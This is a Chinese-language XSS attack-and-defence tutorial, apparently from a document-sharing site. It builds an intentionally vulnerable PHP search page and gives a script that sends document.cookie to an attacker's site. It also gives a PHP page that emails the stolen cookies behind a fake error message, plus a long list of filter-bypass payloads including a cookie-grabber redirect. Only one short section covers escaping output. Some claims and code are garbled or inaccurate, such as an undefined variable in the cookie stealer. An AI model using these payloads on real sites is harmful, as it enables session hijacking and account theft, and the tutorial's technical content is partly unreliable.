当前位置:文档之家› 跨站脚本攻击XSS攻击与防范指南

跨站脚本攻击XSS攻击与防范指南

跨站脚本攻击XSS攻击与防范指南文章目录XSS攻击与防范指南 (1)第一章、XSS的定义 (1)第二章、XSS漏洞代码 (1)第三章、利用XSS盗取cookies. 3第四章、防范XSS漏洞 (4)第四章、XSS攻击方法 (4)第六章、利用Flash进行XSS攻击 (6)第七章、上传文件进行XSS攻击 (7)第八章、利用XSS漏洞进行钓鱼 (7)第一章、XSS的定义从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。

这些XSS跨站脚本漏洞可能是:*网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。

*网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。

*信任站点(特权区域)存在跨站脚本漏洞一般的跨站脚本攻击包含两个步骤。

首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。

通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。

第二章、XSS漏洞代码打开记事本,复制下面的代码到几时本中:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><style type="text/css">body,td,th {color: #FFFFFF;}body {background-color: #000000;}--></style><title>Simple XSS vulnerability by Xylitol</title><body><form action="XSS.php" method="post"><p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p><div align="center"><table width="270" border="0"><tr><td width="106"><strong>Search:</strong></td><td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td></tr></table><table width="268" border="0"><tr><td width="262"><div align="center"><input name="submit" type="submit" value="Search it !" /></div></td></tr></table></div></form></body></html>然后,保存这个页面为index.html。

并去复制下面的代码到记事本:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Search result:</title><style type="text/css"><!--body,td,th {color: #FFFFFF;}background-color: #000000;}--></style></head><body><span class="alerte">Search result:</span> <strong><?php echo $_POST['Vulnerability']; ?></strong></body></html>保存为Xss.php,关闭记事本。

用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。

然后重新在搜索框里输入<script>alert('XSS')</script>,单击发送。

这时候页面会弹出一个提示窗口。

这就是跨站脚本漏洞。

第三章、利用XSS盗取cookies在一个有漏洞的页面插入下面的代码,例如一个留言本里<script>window.open("/cookie.php?cookies="+document.cookie);</script>( = 攻击者的网站)用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Error</title><style type="text/css"><!--body,td,th {color: #FFFFFF;}body {background-color: #000000;}--></style></head><? mail('email@', 'Cookie stealed ! - thx xyli ', $cookies); ?><body><h2><strong>Error</strong> -<strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2></html>这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。

第四章、防范XSS漏洞如何修复这个漏洞呢?我们可以使用htmlentities函数来修复这个漏洞。

在替换上面的XSS.php第16行:<body><span class="alerte">Search result:</span> <strong><?php echo $_POST['Vulnerability']; ?></strong></body>为:<body><span class="alerte">Search result:</span> <strong><?phpif(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong></body>还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。

第四章、XSS攻击方法利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……图片攻击:<IMG SRC="/Haxored.png">或者视频flash:<EMBED SRC= /Haxored.swf还有网站重定向:<script>window.open( "/Haxored.html" )</script>也可以:<meta http-equiv="refresh" content="0; url=/Haxored.html" />绕过过滤进一步发现XSS事实上绕过htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"><META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">'">><marquee><h1>XSS</h1></marquee>'">><script>alert('XSS')</script>'>><marquee><h1>XSS</h1></marquee>"><script alert(String.fromCharCode(88,83,83))</script><iframe<?php echo chr(11)?> onload=alert('XSS')></iframe><divstyle="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo de(88,83,83));'))">window.alert("Xyli !");"/></a></><img src=1.gif onerror=alert(1)>[color=red' onmouseover="alert('xss')"]mouse over<body onLoad="alert('XSS');"<body onunload="javascript:alert('XSS');">[url=javascript:alert('XSS');]click me[/url]<script language="JavaScript">alert('XSS')</script><img src="javascript:alert('XSS')">'); alert('XSS<font style='color:expression(alert(document.cookie))'><IMG DYNSRC=\"javascript:alert('XSS')\"><IMG LOWSRC=\"javascript:alert('XSS')\"></textarea><script>alert(/xss/)</script></title><script>alert(/xss/)</script><script src=/your_files.js></script>"><script>alert(0)</script><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=\"jav&#x0D;ascript:alert('XSS');\"><IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"><IMG SRC=\"jav&#x09;ascript:alert('XSS');\"><marquee><script>alert('XSS')</script></marquee><? echo('<scr)';echo('ipt>alert(\"XSS\")</script>'); ?><IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"><IMG SRC=\"jav&#x09;ascript:alert('XSS');\"><marquee><script>alert('XSS')</script></marquee><style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style><img src=foo.png onerror=alert(/xssed/) /><script>alert(String.fromCharCode(88,83,83))</script><scr<script>ipt>alert('XSS');</scr</script>ipt><script>location.href="/cookiegrabber.php?cookie="+escape(document.cookie)</script><script src="/cookiegrabber.php"></script><script>alert('XSS');</script><script>alert(1);</script>这里并不包含了所有的攻击方法,Google是你的好朋友,可以通过它找到更多的方法。

相关主题